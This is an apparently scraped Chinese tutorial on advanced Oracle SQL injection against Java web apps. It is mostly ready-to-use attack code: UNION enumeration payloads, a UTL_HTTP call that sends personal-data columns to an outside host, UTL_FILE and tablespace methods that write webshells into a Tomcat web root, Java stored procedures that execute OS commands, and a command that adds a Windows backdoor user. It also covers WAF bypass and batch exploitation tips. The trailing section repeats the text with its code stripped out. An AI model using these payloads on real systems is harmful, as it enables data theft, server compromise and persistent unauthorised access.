攻击JavaWeb应用[4]-SQL注入[2]
字数 991 2025-08-29 08:31:42

Oracle数据库SQL注入高级技术与实战指南

0x00 Oracle数据库注入基础

Oracle与Mysql注入差异

  • Oracle使用虚拟表dual进行查询,保证只有一条记录
  • Oracle的UNION查询有严格的类型要求,必须与原始查询字段类型匹配
  • 使用NULL占位是Oracle注入的常用技巧:UNION SELECT NULL,NULL,NULL,NULL FROM dual--
  • 已知字段类型后可以精确匹配:UNION SELECT 1,NULL,NULL,NULL FROM dual--

Oracle分页查询技巧

Oracle使用三层嵌套查询实现分页:

SELECT * FROM (
  SELECT A.*, ROWNUM RN FROM (
    select * from session_roles
  ) A WHERE ROWNUM <= 1
) WHERE RN >= 0

Oracle信息收集技术

  1. 获取所有用户:
UNION ALL SELECT NULL, NULL, NULL, NVL(CAST(OWNER AS VARCHAR(4000)),CHR(32)) FROM (SELECT DISTINCT(OWNER) FROM SYS.ALL_TABLES)--
  1. 获取数据库表:
UNION ALL SELECT NULL, NULL, NULL, NVL(CAST(OWNER AS VARCHAR(4000)),CHR(32))||CHR(45)||CHR(45)||CHR(45)||CHR(45)||CHR(45)||CHR(45)||NVL(CAST(TABLE_NAME AS VARCHAR(4000)),CHR(32)) FROM SYS.ALL_TABLES WHERE OWNER IN (CHR(67)||CHR(84)||CHR(88)||CHR(83)||CHR(89)||CHR(83),CHR(69)||CHR(88)||CHR(70)||CHR(83)||CHR(89)||CHR(83),CHR(77)||CHR(68)||CHR(83)||CHR(89)||CHR(83),CHR(79)||CHR(76)||CHR(65)||CHR(80)||CHR(83)||CHR(89)||CHR(83),CHR(83)||CHR(67)||CHR(79)||CHR(84)||CHR(84),CHR(83)||CHR(89)||CHR(83),CHR(83)||CHR(89)||CHR(83)||CHR(84)||CHR(69)||CHR(77),CHR(87)||CHR(77)||CHR(83)||CHR(89)||CHR(83))--
  1. 其他关键信息查询:
-- 版本信息
select banner from sys.v_$version where rownum=1
-- 启动Oracle的用户名
select SYS_CONTEXT ('USERENV','OS_USER') from dual
-- 服务器监听IP
select utl_inaddr.get_host_address from dual
-- 服务器操作系统
select member from v$logfile where rownum=1
-- 当前连接用户
select SYS_CONTEXT ('USERENV', 'CURRENT_USER') from dual
-- 当前数据库名
select SYS_CONTEXT ('USERENV', 'DB_NAME') from dual

0x01 Oracle高级注入技术

1. 友情备份技术

利用UTL_HTTP包实现数据外带:

UTL_HTTP.request('http://xxx.cn:8080/xxxx/mysql.jsp?data='||ID|USERID|NAME|RELATION|OCCUPATION|POSITION|ASSN||UNIT|TEL)

使用UTL_FILE实现本地备份:

-- 创建目录
create or replace directory cux_log_dir as 'E:/soft/apache-tomcat-7.0.37/webapps/ROOT/selina'
-- 导出数据到文件
declare
    frw utl_file.file_type
begin
    frw:=utl_file.fopen('CUX_LOG_DIR','emp.txt','w')
    for rec in (select * from admin) loop
        utl_file.put_line(frw,rec.id||','||rec.password)
    end loop
    utl_file.fclose(frw)
end
/

2. GetShell技术

方法一:使用UTL_FILE

-- 创建目录
create or replace directory getshell_dir as 'E:/soft/apache-tomcat-7.0.37/webapps/SqlInjection/'
-- 写入shell
declare
    frw utl_file.file_type
begin
    frw:=utl_file.fopen('GETSHELL_DIR','yzmm.jsp','w')
    utl_file.put_line(frw,'hello world')
    utl_file.fclose(frw)
end
/

方法二:使用表空间(低权限)

create tablespace shell datafile 'E:/soft/apache-tomcat-7.0.37/webapps/SqlInjection/shell.jsp' size 100k nologging
CREATE TABLE SHELL(C varchar2(100)) tablespace shell
insert into SHELL values('hello world')
commit
alter tablespace shell offline
drop tablespace shell including contents

3. SQLJ执行Java代码

写入Webshell:

-- 创建Java存储过程
create or replace and compile java source named "getShell" as 
public class GetShell {
    public static int getShell(String p, String c) {
        int RC = -1
        try {
            new java.io.FileOutputStream(p).write(c.getBytes())
            RC = 1
        } catch (Exception e) {
            e.printStackTrace()
        }
        return RC
    }
}

-- 创建函数
create or replace function getShell(p in varchar2, c in varchar2) return number as
language java name 'util.getShell(java.lang.String, java.lang.String) return Integer'

-- 创建存储过程
create or replace procedure RC(p in varChar, c in varChar) as
x number
begin
    x := getShell(p,c)
end

-- 授予Java权限
variable x number
set serveroutput on
exec dbms_java.set_output(100000)
grant javasyspriv to system
grant javauserpriv to system

-- 写webshell
exec :x:=getShell('d:/3.txt','selina')

执行系统命令:

-- 创建Java存储过程
create or replace and compile java source named "Execute" as 
import java.io.BufferedReader
import java.io.InputStreamReader
public class Execute {
    public static void executeCmd(String c) {
        try {
            String l="",t
            BufferedReader br = new BufferedReader(new InputStreamReader(java.lang.Runtime.getRuntime().exec(c).getInputStream(),"gbk"))
            while((t=br.readLine())!=null) {
                l+=t+"\n"
            }
            System.out.println(l)
        } catch (Exception e) {
            e.printStackTrace()
        }
    }
}

-- 创建存储过程
create or replace procedure executeCmd(c in varchar2) as
language java name 'Execute.executeCmd(java.lang.String)'

-- 执行命令
exec executeCmd('net user selina 123 /add')

0x02 SQL注入工具实现原理

1. 检测注入点

  • 发送正常请求和带有SQL注入的请求(如AND 1=1AND 1=12)
  • 比较响应结果,不一致则可能存在注入

2. 确定字段数

  • 使用ORDER BY二分法确定字段数
  • 从1开始递增测试,直到页面报错

3. 获取数据库信息

  • 构造UNION查询获取版本、用户、数据库名等信息
  • 使用特殊标记便于从响应中提取数据,如[version]...[/version]

4. 检测文件权限

  • 检查file_priv权限判断是否能读写文件

0x03 实战案例

1. 绕过防注入

  • 使用POST方式绕过GET防注入检测
  • JSP中request.getParameter()可获取GET和POST参数

2. 利用DWR框架漏洞

  • DWR框架可能暴露后端Java方法
  • 通过分析网络请求发现敏感信息泄露

3. 上传漏洞利用

  • 构造multipart表单绕过Flash上传限制
  • 修改上传文件扩展名限制获取Webshell

4. 通用系统漏洞利用

  • 针对通用系统,漏洞可批量利用
  • 通过密码破解进入后台进一步渗透

附录:各数据库获取表信息语句

  1. MSSQL:
select name from master.dbo.sysdatabase
  1. MySQL:
show databases
  1. Sybase:
SELECT a.name,b.colid,b.name,c.name,b.usertype,b.length,
CASE WHEN b.status=0 THEN 'NOT NULL' WHEN b.status=8 THEN 'NULL' END status, d.text 
FROM sysobjects a,syscolumns b,systypes c,syscomments d 
WHERE a.id=b.id AND b.usertype=c.usertype AND a.type='U' 
--AND a.name='t_user' 
AND b.cdefault*=d.id 
ORDER BY a.name,b.colid
  1. Oracle:
SELECT * FROM ALL_TABLES
Oracle数据库SQL注入高级技术与实战指南 0x00 Oracle数据库注入基础 Oracle与Mysql注入差异 Oracle使用虚拟表 dual 进行查询,保证只有一条记录 Oracle的UNION查询有严格的类型要求,必须与原始查询字段类型匹配 使用NULL占位是Oracle注入的常用技巧: UNION SELECT NULL,NULL,NULL,NULL FROM dual-- 已知字段类型后可以精确匹配: UNION SELECT 1,NULL,NULL,NULL FROM dual-- Oracle分页查询技巧 Oracle使用三层嵌套查询实现分页: Oracle信息收集技术 获取所有用户: 获取数据库表: 其他关键信息查询: 0x01 Oracle高级注入技术 1. 友情备份技术 利用UTL_ HTTP包实现数据外带: 使用UTL_ FILE实现本地备份: 2. GetShell技术 方法一:使用UTL_ FILE 方法二:使用表空间(低权限) 3. SQLJ执行Java代码 写入Webshell: 执行系统命令: 0x02 SQL注入工具实现原理 1. 检测注入点 发送正常请求和带有SQL注入的请求(如 AND 1=1 和 AND 1=12 ) 比较响应结果,不一致则可能存在注入 2. 确定字段数 使用 ORDER BY 二分法确定字段数 从1开始递增测试,直到页面报错 3. 获取数据库信息 构造UNION查询获取版本、用户、数据库名等信息 使用特殊标记便于从响应中提取数据,如 [version]...[/version] 4. 检测文件权限 检查 file_priv 权限判断是否能读写文件 0x03 实战案例 1. 绕过防注入 使用POST方式绕过GET防注入检测 JSP中 request.getParameter() 可获取GET和POST参数 2. 利用DWR框架漏洞 DWR框架可能暴露后端Java方法 通过分析网络请求发现敏感信息泄露 3. 上传漏洞利用 构造multipart表单绕过Flash上传限制 修改上传文件扩展名限制获取Webshell 4. 通用系统漏洞利用 针对通用系统,漏洞可批量利用 通过密码破解进入后台进一步渗透 附录:各数据库获取表信息语句 MSSQL: MySQL: Sybase: Oracle: